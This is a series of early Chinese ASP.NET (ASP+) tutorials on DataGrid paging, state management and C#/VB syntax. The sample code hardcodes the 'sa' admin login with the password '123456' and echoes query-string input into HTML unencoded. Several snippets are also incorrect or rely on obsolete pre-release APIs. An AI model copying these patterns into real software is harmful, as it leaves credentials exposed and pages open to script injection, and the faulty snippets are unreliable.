图11-1

大家可以看到在这个UserList表中的11条数据全都出来了，没有分页。

下面我们小改一下DataGrid控件的属性。加上

AllowPaging="True"
PageSize="5"
PagerStyle-HorizontalAlign="Right"

再看看:

图11-2

看看图片的最下面，是不是多了 [image] ，是不是，这就表示分页啦，我们去按那个标签就可以看到下一页的情况：）

图11-4

这一切是不是太简单了。呵呵。他们的来源只是我加了那三个属性。其实只要一个AllowPaging就行了。

AllowPaging是指允许分页，这个是最主要的。有了它，我们才能分页。

PageSize是指定每页显示的记录数，如果不写，就会默认为10条。

PagerStyle-HorizontalAlign是指定分面显示的定位，默认是Left。

全部代码是：

<ASP:DataGrid
id="DataGrid1" runat="server"
AllowPaging="True"
PageSize="5"
PagerStyle-HorizontalAlign="Right"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
/>

是不是很简单。呵呵。

注意写这个时不要忘记<form>了，不然你的页是能显示，但是不能翻，呵呵。因为这是需要提交的：）

下一节我们再讲解更详细的内容，呵呵，主要是考虑到图片太多了。浏览速度会变慢。


csdn_亲密接触asp.net(12)

亲密接触ASP.Net(12)

作者: http://www.aspcn.com 飞刀

DataGrid的分页（2）

这里我紧接上一节，讲DataGrid的分页。在上例中，我们可以看到对于分页控制，本来已经足够了，呵呵，但是只是一个普通的分页，多没有意思，还是给它变些花样好。先讲讲上一节DataGrid控件所用的属性

<ASP:DataGrid
id="DataGrid1" runat="server"
AllowPaging="True"
PageSize="5"
PagerStyle-HorizontalAlign="Right"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
/>
关于它的属性，有些就不讲了一看就知道。这里讲几个新鲜的：）

HeaderStyle-BackColor是指Column栏的颜色

AlternatingItemStyle-BackColor是指隔行交替出现的颜色

这些我们在上一节中已经看到了。下面我再讲一些属性。

我们看着那个"<"与">"不顺眼，我们想把他们换成"上一页"与"下一页",很好办，加入两条属性

PagerStyle-NextPageText="下一页"
PagerStyle-PrevPageText="上一页"

我们再来看看：

图１２－１

怎么样，变了吧：）

我们还是看不惯，要是用１２３这些数字标记多好。也行。再加属性。

PagerStyle-Mode="NumericPages"

再看看：

图１２－２

搞定。

要是能显示一共有多少页，而且还可报告当前为第几页，那又多好：），也行，不过就不是改属性能做到了。我们加上下面的代码

当前页是：<font color=red><%=DataGrid1.CurrentPageIndex+1%></font><br>
总页数是：<font color=red><%=DataGrid1.PageCount%></font><br>

再看：

是不是又可以了。呵呵，有的朋友还需要加入"末页"和"首页"的链接，这也是可以的，不过要复杂的多。

太晚了，我们下次再讲吧。主要是使用OnPageIndexChanged事件。呵呵，有兴趣的朋友可以先做出来：）


csdn_亲密接触asp.net(13)

亲密接触ASP.Net(13)

作者：http://www.aspcn.com 飞刀

个性化的分页实现

我们前面讲的分页，只不过是通过修改DataGrid的属性来实现分页，这样有这样的好处，最大的就是简单，呵呵，根本不用操心，分页是如何产生的。

但是它同样有缺点，不能按照我们想像的产生各种我们需要的样式。

没有办法，想个性化功能，只有自已动手来做了，呵呵。

我们一步步的来，首先是导入需要的命名空间。下面的例子，其实也是我从国外找来的，再加上点个人的东东，再汉化，呵呵。今天心情很好，我连标签色彩都给大家显示出来了。呵呵，更利于大家看程序。

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>

我们先看看，我们的web控件是哪些，再看看代码是怎么写的，这样比较好：）

<body>

<h3><font face="Verdana">个性化的分页实例^&^</font></h3>

<form runat=server>

<ASP:DataGrid id="MyDataGrid"
runat="server"
AllowPaging="True"
PageSize="10"
PagerStyle-Mode="NumericPages"
PagerStyle-HorizontalAlign="Right"
OnPageIndexChanged="MyDataGrid_Page"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
AutoGenerateColumns="false"

>
<property name="Columns">
<asp:BoundColumn HeaderText="工作室成员" DataField="Enter_ID"
/>
<asp:BoundColumn HeaderText="登陆时间" DataField="Enter_Time"
/>
</property>
</ASP:DataGrid>

<p>
<asp:LinkButton id="btnFirst"
runat="server"
Text="首页"
CommandArgument="0"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;
<asp:LinkButton id="btnPrev"
runat="server"
Text="前页"
CommandArgument="prev"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;
<asp:LinkButton id="btnNext"
runat="server"
Text="后页"
CommandArgument="next"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;

<asp:LinkButton id="btnLast"
runat="server"
Text="末页"
CommandArgument="last"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>

<p>
<asp:Checkbox id="chk1"
runat="server"
Text="显示内置的页数"
Font-Name="Verdana"
Font-Size="8pt"
AutoPostBack="true"
/>

<p>
<table bgcolor="#eeeeee" cellpadding="6"><tr><td
nowrap><font face="Verdana" size="-2">

<asp:Label id="lblCurrentIndex" runat="server"
/><br>
<asp:Label id="lblPageCount" runat="server"
/><br>

</font></td></tr></table>
</form>

</body>

从上面的例子我们可以看出点击LinkButton控件OnClick触发的是PageButtonClick事件,DataGrid页面OnPageIndexChanged改变触发的是MyDataGrid_Page事件，我们以后就是就是要编写这两件事件的代码

下面是先要查询的数据库的信息，用一个函数表示，因为经常用到：）,我打开的表，呵呵，是我们工作室管理区的登陆记录表（哈又卖了点我们工作室的秘密给大家)

ICollection
CreateDataSource()
{
/*
读取数据库的信息，获得DataView
*/
SQLConnection MyConnection = new
SQLConnection("server=localhost;uid=sa;pwd=123456;database=aspcn");
SQLDataSetCommand MyDataSetCommand =
new SQLDataSetCommand("select * from admin_enter
order by Enter_Time desc",MyConnection);
DataSet ds= new DataSet();
MyDataSetCommand.FillDataSet(ds,"admin_enter");
return
ds.Tables["admin_enter"].DefaultView;
}

然后中是Page_Load函数,在这里主要是判断一下是否显示DataGrid自带的那些分页数字，使用的是PageStyle的Visible属性：

void Page_Load(Object
sender, EventArgs e)
{
//判断是否隐藏PagerStyle-Mode
if (chk1.Checked)
{
MyDataGrid.PagerStyle.Visible=true;
}
else
{
MyDataGrid.PagerStyle.Visible=false;
}

BindGrid();
}

下面是处理点击事件的PagerButtonClick，这是我们的核心部分，其实我们操作的也只是DataGrid的CurrentPageIndex属性。如果CurrentPageIndex小于PageCount则有下一页，如果CurrentPageIndex大于0则表示有前一页。

void PagerButtonClick(Object
sender, EventArgs e)
{
//获得LinkButton的参数值
String arg = ((LinkButton)sender).CommandArgument;

switch(arg)
{
case
("next"):
if (MyDataGrid.CurrentPageIndex
< (MyDataGrid.PageCount - 1))
MyDataGrid.CurrentPageIndex ++;
break;
case ("prev"):
if (MyDataGrid.CurrentPageIndex
> 0)
MyDataGrid.CurrentPageIndex --;
break;
case
("last"):
MyDataGrid.CurrentPageIndex = (MyDataGrid.PageCount - 1);
break;
default:
//本页值
MyDataGrid.CurrentPageIndex = arg.ToInt32();
break;
}
BindGrid();
}

下面是MyDataGrid_Page,主要操作是调用BindGrid函数，以将数据交给DataGrid显示:

void MyDataGrid_Page(Object
sender, DataGridPageChangedEventArgs e)
{
//处理按下数字的方法
BindGrid();
}

最后是两个函数，他们的作用，我都注释了：）

void BindGrid()
{
//将DataView绑定到DataGrid上去
MyDataGrid.DataSource = CreateDataSource();
MyDataGrid.DataBind();
ShowStats();
}

void ShowStats()
{
//显示页面信息
lblCurrentIndex.Text = "当前页数为： " +
((int)MyDataGrid.CurrentPageIndex+1);
lblPageCount.Text = "总页数是： " + MyDataGrid.PageCount;
}

到此为止，我们的个性化页面已经完成了（全部代码和显示看一下节)，我们总的思想就是使用LinkButton控件做为翻页的标帜，通过判断LinkButton的CommandArgument值，操作DataGrid的CurrentPageIndex属性，以达到翻页的效果。

如果大家在本节中看不懂结构，请参看下一节的全部代码以及示例。


csdn_亲密接触asp.net(14)

亲密接触ASP.Net(14)

作者: http://www.aspcn.com 飞刀

个性化分页(2)

上一节大家没有看到总的结构，这一节，我把代码全部贴出来，大家好好看看。

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>
<html>
<script language="C#" runat="server">

void Page_Load(Object
sender, EventArgs e)
{
//判断是否隐藏PagerStyle-Mode
if (chk1.Checked)
{
MyDataGrid.PagerStyle.Visible=true;
}
else
{
MyDataGrid.PagerStyle.Visible=false;
}

BindGrid();
}

ICollection
CreateDataSource()
{
/*
读取数据库的信息，获得DataView
*/
SQLConnection MyConnection = new
SQLConnection("server=localhost;uid=sa;pwd=123456;database=aspcn");
SQLDataSetCommand MyDataSetCommand =
new SQLDataSetCommand("select * from admin_enter
order by Enter_Time desc",MyConnection);
DataSet ds= new DataSet();
MyDataSetCommand.FillDataSet(ds,"admin_enter");
return
ds.Tables["admin_enter"].DefaultView;
}

void PagerButtonClick(Object
sender, EventArgs e)
{
//获得LinkButton的参数值
String arg = ((LinkButton)sender).CommandArgument;

switch(arg)
{
case
("next"):
if (MyDataGrid.CurrentPageIndex
< (MyDataGrid.PageCount - 1))
MyDataGrid.CurrentPageIndex ++;
break;
case ("prev"):
if (MyDataGrid.CurrentPageIndex
> 0)
MyDataGrid.CurrentPageIndex --;
break;
case
("last"):
MyDataGrid.CurrentPageIndex = (MyDataGrid.PageCount - 1);
break;
default:
//本页值
MyDataGrid.CurrentPageIndex = arg.ToInt32();
break;
}
BindGrid();
}

void MyDataGrid_Page(Object
sender, DataGridPageChangedEventArgs e)
{
//处理按下数字的方法
BindGrid();
}

void BindGrid()
{
//将DataView绑定到DataGrid上去
MyDataGrid.DataSource = CreateDataSource();
MyDataGrid.DataBind();
ShowStats();
}

void ShowStats()
{
//显示页面信息
lblCurrentIndex.Text = "当前页数为： " +
((int)MyDataGrid.CurrentPageIndex+1);
lblPageCount.Text = "总页数是： " + MyDataGrid.PageCount;
}

</script>

<body>

<h3><font face="Verdana">个性化的分页实例^&^</font></h3>

<form runat=server>

<ASP:DataGrid id="MyDataGrid"
runat="server"
AllowPaging="True"
PageSize="10"
PagerStyle-Mode="NumericPages"
PagerStyle-HorizontalAlign="Right"
OnPageIndexChanged="MyDataGrid_Page"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
AutoGenerateColumns="false"

>
<property name="Columns">
<asp:BoundColumn HeaderText="工作室成员" DataField="Enter_ID"
/>
<asp:BoundColumn HeaderText="登陆时间" DataField="Enter_Time"
/>
</property>
</ASP:DataGrid>

<p>
<asp:LinkButton id="btnFirst"
runat="server"
Text="首页"
CommandArgument="0"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;
<asp:LinkButton id="btnPrev"
runat="server"
Text="前页"
CommandArgument="prev"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;
<asp:LinkButton id="btnNext"
runat="server"
Text="后页"
CommandArgument="next"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>
&nbsp;

<asp:LinkButton id="btnLast"
runat="server"
Text="末页"
CommandArgument="last"
ForeColor="navy"
Font-Name="verdana" Font-size="8pt"
OnClick="PagerButtonClick"
/>

<p>
<asp:Checkbox id="chk1"
runat="server"
Text="显示内置的页数"
Font-Name="Verdana"
Font-Size="8pt"
AutoPostBack="true"
/>

<p>
<table bgcolor="#eeeeee" cellpadding="6"><tr><td
nowrap><font face="Verdana" size="-2">

<asp:Label id="lblCurrentIndex" runat="server"
/><br>
<asp:Label id="lblPageCount" runat="server"
/><br>

</font></td></tr></table>
</form>

</body>

</html>

上面是全部的源代码，执行后的显示是:

图14-1

按下随便一个键，比如"末页"

图14-2

看，我们的程序就直接到了最后一页，即第5页，我们在下面的"当前页数"可以看到：）

我们再来点击"显示内置的页数"这个复选框，看看：

图14-3

看，我们前两节看到的那些小数字也出来了：）


csdn_亲密接触asp.net(15)

亲密接触ASP.Net(15)

作者:http://www.aspcn.com 飞刀

ASP.Net中状态保存

在ASP保存一些共享、个人状态，使用的是Application、Session、Cookie这三种。呵呵。在ASP.Net中M$除了继承Application等外，又给我们新的一种状态变量信息State，它是用来保存WEB控件的状态的变量，很新鲜吧，一定要快点知道啦：）

不好意思，飞刀还是从原始一步步来说吧。先从Application讲起。(台下一片吼声)，没有办法，为了有个阶梯性，还是不应当过早接触新东东啦：）

Application

在ASP.Net中Application用法与ASP是一样的，几乎是没有什么说的，但是它多了两个特别有用的事件，Application_OnBeginRequest和Application_OnEndRequest。他们的和原来的Application_OnStart和Application_OnEnd一样是放在global文件中的(注意这个文件在ASP中名字是global.asa，在ASP.Net中是global.asax)。

注：这个事件，写不写On是一样的。如Application_End与Application_OnEnd是一样的

Application_OnStart是在整个ASP.Net应用首先被触发的事件，也就是在一个虚拟目录中第一个ASP.Net程序执行时触发，Application_OnEnd就正好相反，在整个应用停止时被触发（通常发生在服务器被重启/关机时)。Application_OnRequestStart和Application_OnRequestEnd则是在每一个ASP.Net程序被请求时就发生，也就是说客户访问一次一个ASP.Net程序，这两个事件就会被触发。我们可以从下面的程序看到他的应用.我们先建立一个global.asax,内容如下：

<script language="C#" runat="server">

void
Application_OnBeginRequest(Object sender, EventArgs E)
{
Response.Write("Request is
Starting...<br>");
}

void
Application_OnEndRequest(Object sender, EventArgs E)
{
Response.Write("Request is Ending...<br>");
}

</script>

然后将其放到本虚拟目录的根目录下,然后我们随便打开一个什么aspx文件，这里我们打开named.aspx文件，看看:

图15-1

看到没有，这个页面的上面和下面出现了我们在global.asax中定义的语句Request is Starting...和Request is Ending...这个不是我们在这个文件中独加的，我们将会再任何一个ASP.Net文件中看到它的影子。

Session

ASP.Net中的Session是我见过最好的处理，是其它动态网页技术不能比拟的。ASP.Net中的Session再也不需要Cookies的支持，也就是说如果用户关闭了Cookie，Session的值一样也可以被保存。

不过，我们需要对config.web文件进行一些配制，因为在其中找到关于Session的设置文本，如:

<sessionstate
cookieless="false"
/>

把cookieless="false" 改成cookieless="true" ，那么以后Session就不储存在cookies中了，而在储存在URL中。

图15-2

上面的黑圈中的东东就是储存的Session值，当然这是被编码的，我们无法知道它的直实值。

其实，我发现，不用改config.web文件，关掉cookies后，不用URL也照样能传递session值，这种情况下Session是如何保值的，这个就不太清楚了：）

Session还可保持不死之术，就是当服务器重启，还是能保证Session中的值不变，不过这又要改动config.web文件。也是通过下面的语句设定.

<sessionstate
inproc="false"
server="localhost"
port="42424"
/>
是不是发现这里的Session是不是很强大啊：），把localhost改成您要的主机，Session还能在另外一台主机上保持。


csdn_亲密接触asp.net(16)

亲密接触ASP.Net(16)

作者： http://www.aspcn.com 飞刀

Cookie

Cookie的用法也和ASP中差不多。比如我们建立一个名为aspcn，值为飞刀的cookie

HttpCookie cookie = new HttpCookie["aspcn"];
cookie.Value = "飞刀";
Response.AppendCookie(cookie);

我们取出Cookie值也很简单

HttpCookie cookie = Request.Cookies["aspcn"];
cookieValue = cookie.Value;

有时候我们想在一个Cookie中储存多个信息，那也没有问题。比如我们在名为aspcn的cookie下加多个信息

HttpCookie
cookie = new HttpCookie("aspcn");
cookie.Values.Add("webmaster","飞刀");
cookie.Values.Add("writer","beige");
cookie.Values.Add("LinkColor","blue");
Response.AppendCookie(cookie);

取出信息也一样简单

HttpCookie cookie = Request.Cookies["aspcn"];
value1 = cookies.Values["webmaster"];
value2 = cookies.Values["writer"];

View State

这是一个新出来的东东，用法和Session一样，他的主要用途是记录Web Control的状态。虽然是新出来的，但是和Application、Session的用法没有什么区别，所以也不想详细讲解了。

State["DropLoadIndex"] = 0 ;

基本用法如上：）,但是请记住，他保存在的信息只能在一个aspx文件中使用。出去后，这个就没有用了，因为他的用途只是保存WEB控件的状态。

ASP.Net高级应用

ASP.Net的基础部分，我们已经讲解完毕,但是这还不是完部ASP.Net的功能，还有好多的ASP.Net新功能强大的很啊。

Web Service
Track
国际化
Cache
制作组件
制件控件

还有好多啊，呵呵，我不可能一口气讲下去了，我们下一个专题就是《ASP.Net高级应用进阶》系列啦。《亲密接触ASP.Net》主要讲基础，呵呵，我已经讲完了：）

另外最近可以可能要写一本关于ASP.Net和C#的书，所以可以在网上写文章的速度就会变慢啦：）


csdn_asp+语法介绍(一)

  asp+语法介绍(一)
作者： 豆腐
ASP+ 现在支持两种语言C# (简称 "C Sharp"), Visual Basic, and JScript.
基于习惯，在以下的语言介绍中，我们采用的练习和例程采用VB和C#语言来开发Web应用程序.如果想要得到关于.Net技术的详细资料，请去MS的站点 查看关于 NGWS SDK!
在下面的列表中，你可以看到关于这两种语言的语法的简要介绍
1.变量声名
C# 语法
int x;
String s;
String s1, s2;
Object o;
Object obj = new Object();
public String name;
VB语法
Dim x As Integer
Dim s As String
Dim s1, s2 As String
Dim o 'Implicitly Object
Dim obj As New Object()
Public name As String

2语句
C#:
Response.Write("豆腐");
VB:
Response.Write("豆腐")

3.注释语句
//豆腐制作，都是精品
/*
豆腐制作
，
都是精品
*/

VB:
'豆腐制作，都是精品
' 豆腐制作
'，
'都是精品
4.获得URL 传递的变量
C#:
String s = Request.QueryString["Name"];
String value = Request.Cookies["key"];
VB:
Dim s, value As String
s = Request.QueryString("Name")
value = Request.Cookies("Key").Value
5.声明属性
C#:
public String name {

get {
...
return ...;
}

set {
... = value;
}

}

VB:
Public Property Name As String

Get
...
Return ...;
End Get

Set
... = Value;
End Set

End Property
6.数组
C#
String[] a = new String[3];
a[0] = "1";
a[1] = "2";
a[2] = "3";
//二维数组
String[][] a = new String[3][3];
a[0][0] = "1";
a[1][0] = "2";
a[2][0] = "3";
VB:
Dim a(3) As String
a(0) = "1"
a(1) = "2"
a(2) = "3"

Dim a(3,3) As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

Dim a() As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

Dim a(,) As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

7变量初始化
C#:
String s = "Hello World";
int i = 1
double[] a = { 3.00, 4.00, 5.00 };
VB:
Dim s As String = "Hello World"
Dim i As Integer = 1
Dim a() As Double = { 3.00, 4.00, 5.00 }

8;判断语句(If 语句)
if (Request.QueryString != null) {
...
}

VB:
If Not (Request.QueryString = Null)
...
End If

9.分支语句(case 语句)
C#:
switch (FirstName) {
case "John" :
...
break;
case "Paul" :
...
break;
case "Ringo" :
...
break;
}
VB:
Select (FirstName)
case "John" :
...
case "Paul" :
...
case "Ringo" :
...
End Select

10 For循环语句
C#
for (int i=0; i<3; i++)
a(i) = "test";
VB:
Dim I As Integer
For I = 0 To 2
a(I) = "test"
Next

11 While 循环
C#:
int i = 0;
while (i<3) {
Console.WriteLine(i.ToString());
i += 1;
}
VB:
Dim I As Integer
I = 0
Do While I < 3
Console.WriteLine(I.ToString())
I = I + 1
Loop
12 字符串连接
C#:
String s1;
String s2 = "hello";
s2 += " world";
s1 = s2 + " !!!";
VB:
Dim s1, s2 As String
s2 = "hello"
s2 &= " world"
s1 = s2 & " !!!"

声明事件
C#:
void MyButton_Click(Object sender,
EventArgs E) {
...
}
VB:
Sub MyButton_Click(Sender As Object,
E As EventArgs)
...
End Sub

13 声明Object
C#
MyObject obj = (MyObject)Session["Some Value"];
IMyObject iObj = obj
VB:
Dim bj As MyObject
Dim iObj As IMyObject
obj = Session("Some Value")
iObj = CType(obj, IMyObject)

14 数据类型转换
C#
int i = 3;
String s = i.ToString();
double d = Double.Parse(s);
VB:
Dim i As Integer
Dim s As String
Dim d As Double

i = 3
s = i.ToString()
d = CDbl(s)

15 类的声明和继承
C#:
using System;

namespace MySpace {

public class Foo : Bar {

int x;

public Foo() { x = 4; }
public void Add(int x) { this.x += x; }
public int GetNum() { return x; }
}

}

VB:
Imports System

Namespace MySpace

Public Class Foo : Inherits Bar

Dim x As Integer

Public Sub New()
MyBase.New()
x = 4
End Sub

Public Sub Add(x As Integer)
Me.x = Me.x + x
End Sub

Public Function GetNum() As Integer
Return x
End Function

End Class

End Namespace

16 声明类的主函数
C#:
using System;

public class ConsoleCS {

public ConsoleCS() {
Console.WriteLine("Object Created");
}

public static void Main (String[] args) {
Console.WriteLine("Hello World");
ConsoleCS ccs = new ConsoleCS();
}

}

VB
Imports System

Public Class ConsoleVB

Public Sub New()
MyBase.New()
Console.WriteLine("Object Created")
End Sub

Public Shared Sub Main()
Console.WriteLine("Hello World")
Dim cvb As ConsoleVB
cvb = New ConsoleVB()
End Sub

End Class

17 标准模块
C#
using System;

public class Module {

public static void Main (String[] args) {
Console.WriteLine("Hello World");
}

}
VB:
Imports System

Public Module ConsoleVB

Public Sub Main()
Console.WriteLine("Hello World")
End Sub

End Module

本篇文章是由一篇英语的文章翻译来的，从这里面我们可以看到MS 为了统治Web编程领域，花费了多大的心思！
他完全的重新定义了Web编程的全部规范，使得Web编程变的更加简单和功能强大！
现在在MS 的站点上已经可以 下载 asp+ 的解释器，但是太大！豆腐没有下载，哪位朋友有这个能力，下载下来，一读为快！
顺便给大家介绍一个学习 Asp+ 的比较好的站点！只可惜 目前只有 英文的！我会在 适当 的时间里，给大家 翻译 尽可能 多的文章！
站点的 URl是:
http://tutorial.superexpert.com/quickstart/aspplus/doc/langsupport.aspx
还有一个
http://www.15seconds.com也有关于 Asp+ 的文章


csdn_asp+语法介绍（二）---书写我们的第一个asp+ 文件

  asp+语法介绍（二）---书写我们的第一个asp+ 文件
作者： 豆腐
asp+ 页面的文件和asp 一样，也是一个 文本的文件,但是他的后缀名称已经不再是 .asp 而是 .asp+
当客户端浏览器向 IIS 发出.aspx 的文件请求后，IIS 会 首先将.aspx文件编译成运行状态的NGWS 类文件来运行,请注意，这个编译的过程只在第一次运行的时候发生，以后就直接以运行态的NGWS 类运行了（和 .jsp 是不是很类似？？--豆腐添加，原文没有）

一个 最简单 Asp+ 文件可以通过将 一个 html 文件的后缀名称修改为.aspx 来生成！在下面的例子中我们将作一个这样的例子
运行的范例请看这里：
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro1.aspx
原代码如下：
<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<body>

<center>

<form action="intro1.aspx" method="post">

<h3> Name: <input id="Name" type=text>

Category: <select id="Category" size=1>
<option>psychology</option>
<option>business</option>
<option>popular_comp</option>
</select>

<input type=submit value="Lookup">

</form>

</center>

</body>
</html>
（豆腐添加：
有的人会说，这个例子太简单了或者说根本就不是一个例子，但是对于学习来说，最起码让我们可以更深入的了解一下 asp+ 的一些神秘的外表,下面我们将要讲解一个 带有<%%>标签的粒子)
asp+文件和asp文件是兼容的，在<%%>之间我们可以使用嵌套的HTML语言,下面就是一个很简单的 和 asp 文件完全兼容 asp+ 文件
<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<body>

<center>

<form action="intro2.aspx" method="post">

<h3> Name: <input id="Name" type=text>

Category: <select id="Category" size=1>
<option>psychology</option>
<option>business</option>
<option>popular_comp</option>
</select>

<input type=submit value="Lookup">

<p>

<% for i=0 to 7 %>
<font size="<%=i%>"> Welcome to ASP+ </font> <br>
<% next %>

</form>

</center>

</body>
</html>
这个例子的运行请看
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro2.aspx
(豆腐添加：上面这个例子演示了aspx文件和asp文件的完全兼容性，但是仅仅是这样，aspx不会成为一个新的热点，下面会简单介绍下aspx文件的一个新创的功能）
提示:和asp不同的是，在<%%>中包含的代码，是被编译执行的，而不是象asp 一样是脚本级的执行

asp+ 文件中的 <% %> 代码可以和 asp 一样动态的去修改 HTML 的输出显示使得 客户端的 内容有所改变
<%@ Page Language="VB" %>

<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<body>

<center>

<form action="intro3.aspx">

<h3> Name: <input name="Name" type=text value="<%=Request.QueryString("Name")%>">

Category: <select name="Category" size=1>

<%
Dim I As Integer
Dim Values(3) As String
Values(0) = "psychology"
Values(1) = "business"
Values(2) = "popular_comp"

For I = 0 To Values.Length - 1
%>

<% If (Request.QueryString("Category") = Values(i)) %>
<option selected>
<% Else %>
<option>
<% End If %>
<%=Values(i)%>
</option>

<% Next %>

</select>

<input type=submit name="Lookup" value="Lookup">

<p>

<% If (Not Request.QueryString("Lookup") = Null) %>

Hi <%=Request.QueryString("Name") %>, you selected: <%=Request.QueryString("Category") %>

<% End If %>

</form>

</center>

</body>
</html>

运行的例子在
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro4.aspx

asp+还有很多新的特点，我我会在合适的时间继续介绍的！
请大家继续支持我们！


csdn_asp+语法介绍(三)----asp+的服务器端编程初步

  asp+语法介绍(三)----asp+的服务器端编程初步
作者： 豆腐
这一章介绍关于Asp+的服务器端的控件
除了使用<%%>号以外，asp+ 的程序开发者目前可以使用新的标签来生成动态的页面了,新的服务器控可以在asp+ 文件中利用一个特殊的tag runat=server来声明
下面的例子中用到了以下几个服务器控件<form runat=server>, <asp:textbox runat=server>, <asp:dropdownlist runat=server>, and <asp:button runat=server>在运行的过程中他们都会自动生成HTML代码
<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<body>

<center>

<form action="intro4.aspx" method="post" runat=server>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem>psychology</asp:listitem>
<asp:listitem>business</asp:listitem>
<asp:listitem>popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button text="Lookup" runat="server"/>

</form>

</center>

</body>
</html>
这个例子的运行结果在
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro4.aspx

注意：这些服务器控件都会在客户端生成HTML代码，但是这些服务器控件的内容并没有保存在Hidden 中，而是事实在在 的保存在 页面之间，而且在客户端没有任何的 script 代码

除了这些输入的服务器控件，Asp+ 允许开发者自己去丰富一些定植的控件，例如在下面的例子中我们将要看到的<asp:adrotator>控件就是动态的生成广告图片

<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<body>

<center>

<form action="intro5.aspx" method="post" runat="server">

<asp:adrotator AdvertisementFile="ads.xml" BorderColor="black" BorderWidth=1 runat="server"/>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem>psychology</asp:listitem>
<asp:listitem>business</asp:listitem>
<asp:listitem>popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button text="Lookup" runat="server"/>

</form>

</center>

</body>
</html>
广告文件的内容是:
<Advertisements>

<Ad>
<ImageUrl>/quickstart/aspplus/images/banner1.gif</ImageUrl>
<TargetUrl>http://www.microsoft.com</TargetUrl>
<AlternateText>Alt Text</AlternateText>
<Keyword>Computers</Keyword>
<Impressions>80</Impressions>
</Ad>

<Ad>
<ImageUrl>/quickstart/aspplus/images/banner2.gif</ImageUrl>
<TargetUrl>http://www.microsoft.com</TargetUrl>
<AlternateText>Alt Text</AlternateText>
<Keyword>Computers</Keyword>
<Impressions>80</Impressions>
</Ad>

<Ad>
<ImageUrl>/quickstart/aspplus/images/banner3.gif</ImageUrl>
<TargetUrl>http://www.microsoft.com</TargetUrl>
<AlternateText>Alt Text</AlternateText>
<Keyword>Computers</Keyword>
<Impressions>80</Impressions>
</Ad>

</Advertisements>

这个例子的运行在：
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro5.aspx
以上是我们对asp+文件的服务器控件的一些简单描述，下面的一讲，我们会讲解一些高级的asp+ 服务器控件的 文章
请大家一如即往的支持我们！


csdn_asp+语法介绍(四)----asp+的服务器端编程进介

  asp+语法介绍(四)----asp+的服务器端编程进介
作者： 豆腐
操作服务器控件的事件
每一个asp+的服务器控件都有自己的属性，方法和事件。asp+的开发者现在可以清楚的修改和交互自己的页面
下面的这个例子，我们用到了两个服务器控件<asp:button runat=server> ,<asp:label runat=server>
和button 的 click 事件
<html>
<head>
<link rel="stylesheet"href="intro.css">
</head>

<script language="VB" runat=server>

Sub SubmitBtn_Click(Sender As Object, E As EventArgs)
Message.Text = "Hi " & Name.Text & ", you selected: " & Category.SelectedItem.Text
End Sub

</script>

<body>

<center>

<form action="intro6.aspx" method="post" runat="server">

<asp:adrotator AdvertisementFile="ads.xml" BorderColor="black" BorderWidth=1 runat="server"/>

<h3> Name: <asp:textbox id="Name" runat="server"/>

Category: <asp:dropdownlist id="Category" runat=server>
<asp:listitem>psychology</asp:listitem>
<asp:listitem>business</asp:listitem>
<asp:listitem>popular_comp</asp:listitem>
</asp:dropdownlist>

<asp:button type=submit text="Lookup" OnClick="SubmitBtn_Click" runat="server"/>

<p>

<asp:label id="Message" runat="server"/>

</form>

</center>

</body>
</html>

这个程序的演示地址是
http://tutorial.superexpert.com/quickstart/aspplus/samples/webforms/intro/intro6.aspx
这个简单的例子，我们以前在例子3中也已经简单的演示过，但是我们现在用了一种简单和给为清晰的方法来演示新版本的服务器控件的功能


csdn_asp+语法介绍(五)----asp+的服务器端编程控件篇

  asp+语法介绍(五)----asp+的服务器端编程控件篇
作者： 豆腐
使用定制的服务器控件
